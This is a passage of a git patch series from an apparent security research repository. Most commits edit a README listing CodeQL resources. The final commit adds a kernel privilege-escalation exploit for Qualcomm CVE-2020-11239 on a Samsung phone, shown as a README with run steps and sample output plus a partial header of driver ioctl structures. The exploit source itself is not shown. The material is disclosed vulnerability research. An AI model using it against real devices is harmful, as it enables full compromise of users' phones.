"sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, - "windows-release": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.0.tgz", - "integrity": "sha512-2HetyTg1Y+R+rUgrKeUEhAG/ZuOmTrI1NBb3ZyAGQMYmOJjBBPe4MTodghRkmLJZHwkuPi02anbeGP+Zf401LQ==", - "dev": true, - "requires": { - "execa": "^1.0.0" - } - }, - "word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", - "dev": true - }, - "wrap-ansi": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", - "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", - "dev": true, - "requires": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - } - }, - "wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true - }, - "write": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz", - "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==", - "dev": true, - "requires": { - "mkdirp": "^0.5.1" - }, - "dependencies": { - "mkdirp": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", - "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } - } - } - }, - "write-file-atomic": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", - "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", - "dev": true, - "requires": { - "imurmurhash": "^0.1.4", - "is-typedarray": "^1.0.0", - "signal-exit": "^3.0.2", - "typedarray-to-buffer": "^3.1.5" - } - }, - "ws": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-7.3.0.tgz", - "integrity": "sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==", - "dev": true - }, - "xml-name-validator": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", - "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==", - "dev": true - }, - "xmlchars": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - "dev": true - }, - "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - }, - "yargs": { - "version": "15.3.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.3.1.tgz", - "integrity": "sha512-92O1HWEjw27sBfgmXiixJWT5hRBp2eobqXicLtPBIDBhYB+1HpwZlXmbW2luivBJHBzki+7VyCLRtAkScbTBQA==", - "dev": true, - "requires": { - "cliui": "^6.0.0", - "decamelize": "^1.2.0", - "find-up": "^4.1.0", - "get-caller-file": "^2.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^4.2.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^18.1.1" - } - }, - "yargs-parser": { - "version": "18.1.3", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", - "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - } - } - } -} diff --git a/package.json b/package.json deleted file mode 100644 index aaa023f..0000000 --- a/package.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "private": true, - "scripts": { - "build": "tsc", - "test": "tsc --noEmit && jest --no-cache", - "lint": "eslint . --ext .ts" - }, - "license": "ISC", - "devDependencies": { - "@actions/core": "^1.2.6", - "@actions/github": "^2.2.0", - "@types/jest": "^25.2.3", - "@types/node": "^14.0.4", - "@typescript-eslint/eslint-plugin": "^2.34.0", - "@typescript-eslint/parser": "^2.34.0", - "eslint": "^7.0.0", - "eslint-config-prettier": "^6.11.0", - "eslint-plugin-prettier": "^3.1.3", - "jest": "^26.0.1", - "js-yaml": "^3.13.1", - "prettier": "^2.0.5", - "ts-jest": "^26.0.0", - "typescript": "^3.9.3" - } -} diff --git a/tsconfig.json b/tsconfig.json deleted file mode 100644 index ed40bcc..0000000 --- a/tsconfig.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "compilerOptions": { - "module": "commonjs", - "target": "es2017", - "lib": ["esnext", "es2016", "es2017"], - "strict": true, - "esModuleInterop": true, - "skipLibCheck": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noImplicitAny": true, - "removeComments": false, - "preserveConstEnums": true, - "sourceMap": true - }, - "include": [".github/actions/**/*.ts", "**/*.ts"], - "exclude": ["node_modules"] - } \ No newline at end of file From 827aebad9878a2e6254a31d8b2126cb417a6c308 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 1 Mar 2021 10:57:29 +0000 Subject: [PATCH 014/140] Update README.md Co-authored-by: Xavier RENE-CORAIL --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e1cad99..40752e1 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ We use it for these main purposes: We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory and to the [CodeQL Resources](#codeql-resources) section of this README. -If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead. We do not offer bounties for queries submitted to this repo. The queries in the [CodeQL_Queries](CodeQL_Queries) sub-directory are usually highly specialized queries that only make sense for a specific codebase. For example, this repo contains queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776). Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only. +If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only. If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. From e6ad0c7f1c88a55d6a3c4b228d777c65762ed417 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 1 Mar 2021 16:15:50 +0000 Subject: [PATCH 015/140] Update README.md Co-authored-by: Xavier RENE-CORAIL --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 40752e1..ed6d3d4 100644 --- a/README.md +++ b/README.md @@ -57,6 +57,8 @@ We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory a If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only. -If you would like to add a link [CodeQL Resources](#codeql-resources) section of this README, then just add another bullet point in the appropriate section. If possible, each bullet point should consist of a hyperlinked title and a short description. Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. +If you would like to add a link into the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tooling, then just add another bullet point in the appropriate section. +* Each bullet point should consist of a hyperlinked title and a short description. The short description is optional if the title is already self-explanatory. +* Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. Please see [CONTRIBUTING.md](CONTRIBUTING.md), [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md), and [LICENSE.md](LICENSE.md) for further information on our contributing guidelines and license. From 266aea285c800739d260267c53859af8f4cb8fda Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 1 Mar 2021 16:17:22 +0000 Subject: [PATCH 016/140] Fix typos. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ed6d3d4..21e9e26 100644 --- a/README.md +++ b/README.md @@ -57,7 +57,7 @@ We welcome contributions to the [CodeQL_Queries](CodeQL_Queries) sub-directory a If you have written a cool CodeQL query that you would like to share with the community, then please open a pull request to add it to the [CodeQL_Queries](CodeQL_Queries) sub-directory. Put your query in its own new sub-directory. For example: `CodeQL_Queries/cpp/mynewsubdir/mycoolquery.ql`. Of course, if you think your query might be eligible for a [bounty](https://securitylab.github.com/bounties), then you should open a pull request to the [codeql](https://github.com/github/codeql) repo instead, as we do not offer bounties for queries submitted to this repo. The queries in this repo are usually highly specialized queries that only make sense for a specific codebase, such as queries that specifically target [Chrome](CodeQL_Queries/cpp/Chrome) or [Apache Struts](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776), or utility queries that help you explore your code without necessarily finding a vulnerability. Such queries are inappropriate for the [codeql](https://github.com/github/codeql) repo, which is for general purpose queries only. -If you would like to add a link into the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tooling, then just add another bullet point in the appropriate section. +If you would like to add a link to the [CodeQL Resources](#codeql-resources) section of this README, to share a nice video or an awesome tool, then just add another bullet point in the appropriate section. * Each bullet point should consist of a hyperlinked title and a short description. The short description is optional if the title is already self-explanatory. * Please add new bullet points at the bottom of the list. In the future, we may choose some other ordering such as alphabetical but for now it is just a sequential list. From 2d4237e72aa81d992140427e6c887adca1a8e660 Mon Sep 17 00:00:00 2001 From: Kevin Higgs Date: Tue, 2 Mar 2021 15:36:12 -0500 Subject: [PATCH 017/140] Add Itergator to resources --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 21e9e26..7224481 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,7 @@ We use it for these main purposes: * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407) * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560) * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes) + * [Itergator](https://github.com/trailofbits/itergator): Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/)) * Javascript * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835) * C# From 3d5dd48f30e0ee2fb41b1d141e849efd342789a1 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Tue, 2 Mar 2021 22:42:32 +0200 Subject: [PATCH 018/140] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 21e9e26..68d568e 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,9 @@ We use it for these main purposes: * Editor plugins * [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) (Official) * [Neovim](https://github.com/pwntester/codeql.nvim) +* Code generation + * [cqlgen](https://github.com/gagliardetto/cqlgen) — A codeql generation library written in Go. + * [codemill](https://github.com/gagliardetto/codemill) — A codeql model generator for Go with a web UI. ## Contributing From 1b3be66ca8274816b73ccc3e7dbbcfc79b58f896 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 2 Mar 2021 12:48:26 -0800 Subject: [PATCH 019/140] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7224481..f9841a5 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ We use it for these main purposes: * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407) * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560) * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes) - * [Itergator](https://github.com/trailofbits/itergator): Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/)) + * [Itergator](https://github.com/trailofbits/itergator) - Library and queries for iterator invalidation ([blog post](https://blog.trailofbits.com/2020/10/09/detecting-iterator-invalidation-with-codeql/)) * Javascript * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835) * C# From 2bac23e642c55180619b1767e2f8cd95be44b2d2 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Mon, 8 Mar 2021 17:03:18 +0000 Subject: [PATCH 020/140] Add CVE-2020-11239 --- .../Android/Qualcomm/CVE-2020-11239/README.md | 62 + .../Qualcomm/CVE-2020-11239/kgsl_exploit.h | 546 +++++++++ .../CVE-2020-11239/kgsl_exploit_slab_a71.c | 1047 +++++++++++++++++ 3 files changed, 1655 insertions(+) create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md new file mode 100644 index 0000000..17efd5d --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md @@ -0,0 +1,62 @@ +## Exploit for Qualcomm CVE-2020-11239 + +The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. + +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. + +The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running. + +The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again. + +To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`: + +``` +adb push kgsl_exploit_slab_a71 /data/local/tmp +adb shell +a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71 +``` + +If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write: + +``` +rpc opened +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +micros_used: 19432 +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] Read/Write operation succeeded +[+] syncing bounce buffers +done read 0 +[+] Found null_fops at 2 region offset 32 ffffff80099d9788 +null file addr: ffffffc12a993058 +[+] ion region location: ffffffc12a992000 +[+] bpf addr: ffffff8008317088 +overwrite fops ffffff80099d9788 +overwrite fops 0 +[-] Failed to find dma_buf_fops +[+] syncing bounce buffers +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +micros_used: 19938 +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] REALLOC THREAD finished +[+] Read/Write operation succeeded +running bpf program +bpf_data 0x3039 +[+] successful read +``` diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h new file mode 100644 index 0000000..dc1022e --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h @@ -0,0 +1,546 @@ +#ifndef KGSL_EXPLOIT_H +#define KGSL_EXPLOIT_H + +#include + +//---------------------------ION------------------------------------------------------------------- + +enum ion_heap_ids { + INVALID_HEAP_ID = -1, + ION_CP_MM_HEAP_ID = 8, + ION_SECURE_HEAP_ID = 9, + ION_SECURE_DISPLAY_HEAP_ID = 10, + ION_CP_MFC_HEAP_ID = 12, + ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */ + ION_SECURE_CARVEOUT_HEAP_ID = 14, + ION_CP_WB_HEAP_ID = 16, /* 8660 only */ + ION_QSECOM_TA_HEAP_ID = 19, + ION_CAMERA_HEAP_ID = 20, /* 8660 only */ + ION_SYSTEM_CONTIG_HEAP_ID = 21, + ION_ADSP_HEAP_ID = 22, + ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */ + ION_SF_HEAP_ID = 24, + ION_SYSTEM_HEAP_ID = 25, + ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */ + ION_QSECOM_HEAP_ID = 27, + ION_AUDIO_HEAP_ID = 28, + + ION_MM_FIRMWARE_HEAP_ID = 29, + ION_GOOGLE_HEAP_ID = 30, + + ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */ +}; + +enum ion_heap_type { + ION_HEAP_TYPE_SYSTEM, + ION_HEAP_TYPE_SYSTEM_CONTIG, + ION_HEAP_TYPE_CARVEOUT, + ION_HEAP_TYPE_CHUNK, + ION_HEAP_TYPE_DMA, + ION_HEAP_TYPE_CUSTOM, /* + * must be last so device specific heaps always + * are at the end of this enum + */ + ION_NUM_HEAPS = 16, +}; + +#define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) +#define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) +#define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) +#define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) + +#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) +#define ION_FLAG_CACHED 1 +#define ION_FLAG_CACHED_NEEDS_SYNC 2 +struct ion_allocation_data { + size_t len; + unsigned int heap_id_mask; + unsigned int flags; + uint32_t fd; + uint32_t unused; +}; + +struct ion_custom_data { + unsigned int cmd; + unsigned long arg; +}; + +#define VM_MAYWRITE 0x00000020 + +/* ioctls */ +#define KGSL_IOC_TYPE 0x09 + +#define IOCTL_KGSL_GPUOBJ_IMPORT \ + _IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import) + +#define ION_IOC_MAGIC 'I' + +#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ + struct ion_allocation_data) + +#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) + +#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) + +#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) + +#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) + +#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) + +#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) + +#define ION_BIT(nr) (1UL << (nr)) + +#define ION_HEAP(bit) ION_BIT(bit) + +//---------------------------------KGSL------------------------------------------------------------ + +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +enum kgsl_user_mem_type { + KGSL_USER_MEM_TYPE_PMEM = 0x00000000, + KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, + KGSL_USER_MEM_TYPE_ADDR = 0x00000002, + KGSL_USER_MEM_TYPE_ION = 0x00000003, + /* + * ION type is retained for backwards compatibility but Ion buffers are + * dma-bufs so try to use that naming if we can + */ + KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, + KGSL_USER_MEM_TYPE_MAX = 0x00000007, +}; + +struct kgsl_gpuobj_import { + uint64_t __user priv; + uint64_t priv_len; + uint64_t flags; + unsigned int type; + unsigned int id; +}; + +struct kgsl_gpuobj_import_dma_buf { + int fd; +}; + +struct kgsl_gpuobj_import_useraddr { + uint64_t virtaddr; +}; + +struct kgsl_gpuobj_free { + uint64_t flags; + uint64_t __user priv; + unsigned int id; + unsigned int type; + unsigned int len; +}; + +#define KGSL_GPUOBJ_FREE_ON_EVENT 1 + +#define KGSL_GPU_EVENT_TIMESTAMP 1 +#define KGSL_GPU_EVENT_FENCE 2 + +struct kgsl_gpu_event_timestamp { + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_gpu_event_fence { + int fd; +}; + +struct kgsl_gpumem_free_id { + unsigned int id; +/* private: reserved for future use*/ + unsigned int __pad; +}; + +#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id) + +#define IOCTL_KGSL_GPUOBJ_FREE \ + _IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free) + +struct dma_buf_sync { + __u64 flags; +}; + +#define DMA_BUF_SYNC_READ (1 << 0) +#define DMA_BUF_SYNC_WRITE (2 << 0) +#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) +#define DMA_BUF_SYNC_START (0 << 2) +#define DMA_BUF_SYNC_END (1 << 2) +#define DMA_BUF_SYNC_USER_MAPPED (1 << 3) + +#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ + (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) + +#define DMA_BUF_BASE 'b' +#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) + +#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL + +//-----------------------ADSPRPC---------------------------------------------------- + +/* Retrives number of input buffers from the scalars parameter */ +#define REMOTE_SCALARS_INBUFS(sc) (((sc) >> 16) & 0x0ff) + +/* Retrives number of output buffers from the scalars parameter */ +#define REMOTE_SCALARS_OUTBUFS(sc) (((sc) >> 8) & 0x0ff) + +/* Retrives number of input handles from the scalars parameter */ +#define REMOTE_SCALARS_INHANDLES(sc) (((sc) >> 4) & 0x0f) + +/* Retrives number of output handles from the scalars parameter */ +#define REMOTE_SCALARS_OUTHANDLES(sc) ((sc) & 0x0f) + +#define REMOTE_SCALARS_LENGTH(sc) (REMOTE_SCALARS_INBUFS(sc) +\ + REMOTE_SCALARS_OUTBUFS(sc) +\ + REMOTE_SCALARS_INHANDLES(sc) +\ + REMOTE_SCALARS_OUTHANDLES(sc)) + +#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \ + ((((uint32_t) (attr) & 0x7) << 29) | \ + (((uint32_t) (method) & 0x1f) << 24) | \ + (((uint32_t) (in) & 0xff) << 16) | \ + (((uint32_t) (out) & 0xff) << 8) | \ + (((uint32_t) (oin) & 0x0f) << 4) | \ + ((uint32_t) (oout) & 0x0f)) + +#define REMOTE_SCALARS_MAKE(method, in, out) \ + REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0) + + +#ifndef VERIFY_PRINT_ERROR +#define VERIFY_EPRINTF(format, args) (void)0 +#endif + +#ifndef VERIFY_PRINT_INFO +#define VERIFY_IPRINTF(args) (void)0 +#endif + +#ifndef VERIFY +#define __STR__(x) #x ":" +#define __TOSTR__(x) __STR__(x) +#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__) + +#define VERIFY(err, val) \ +do {\ + VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\ + if ((val) == 0) {\ + (err) = (err) == 0 ? -1 : (err);\ + VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\ + } else {\ + VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\ + } \ +} while (0) +#endif + +#define remote_arg64_t union remote_arg64 + +struct remote_buf64 { + uint64_t pv; + uint64_t len; +}; + +struct remote_dma_handle64 { + int fd; + uint32_t offset; + uint32_t len; +}; + +union remote_arg64 { + struct remote_buf64 buf; + struct remote_dma_handle64 dma; + uint32_t h; +}; + +#define remote_arg_t union remote_arg + +struct remote_buf { + void *pv; /* buffer pointer */ + size_t len; /* length of buffer */ +}; + +struct remote_dma_handle { + int fd; + uint32_t offset; +}; + +union remote_arg { + struct remote_buf buf; /* buffer info */ + struct remote_dma_handle dma; + uint32_t h; /* remote handle */ +}; + +struct fastrpc_ioctl_invoke { + uint32_t handle; /* remote handle */ + uint32_t sc; /* scalars describing the data */ + remote_arg_t *pra; /* remote arguments list */ +}; + +struct fastrpc_ioctl_invoke_fd { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ +}; + +struct fastrpc_ioctl_invoke_attrs { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ + unsigned int *attrs; /* attribute list */ +}; + +struct fastrpc_ioctl_invoke_crc { + struct fastrpc_ioctl_invoke inv; + int *fds; /* fd list */ + unsigned int *attrs; /* attribute list */ + unsigned int *crc; +}; + +struct fastrpc_ioctl_init { + uint32_t flags; /* one of FASTRPC_INIT_* macros */ + uintptr_t file; /* pointer to elf file */ + uint32_t filelen; /* elf file length */ + int32_t filefd; /* ION fd for the file */ + uintptr_t mem; /* mem for the PD */ + uint32_t memlen; /* mem length */ + int32_t memfd; /* ION fd for the mem */ +}; + +struct fastrpc_ioctl_init_attrs { + struct fastrpc_ioctl_init init; + int attrs; + unsigned int siglen; +}; + +struct fastrpc_ioctl_munmap { + uintptr_t vaddrout; /* address to unmap */ + size_t size; /* size */ +}; + +struct fastrpc_ioctl_munmap_64 { + uint64_t vaddrout; /* address to unmap */ + size_t size; /* size */ +}; + +struct fastrpc_ioctl_mmap { + int fd; /* ion fd */ + uint32_t flags; /* flags for dsp to map with */ + uintptr_t vaddrin; /* optional virtual address */ + size_t size; /* size */ + uintptr_t vaddrout; /* dsps virtual address */ +}; + +struct fastrpc_ioctl_mmap_64 { + int fd; /* ion fd */ + uint32_t flags; /* flags for dsp to map with */ + uint64_t vaddrin; /* optional virtual address */ + size_t size; /* size */ + uint64_t vaddrout; /* dsps virtual address */ +}; + +struct 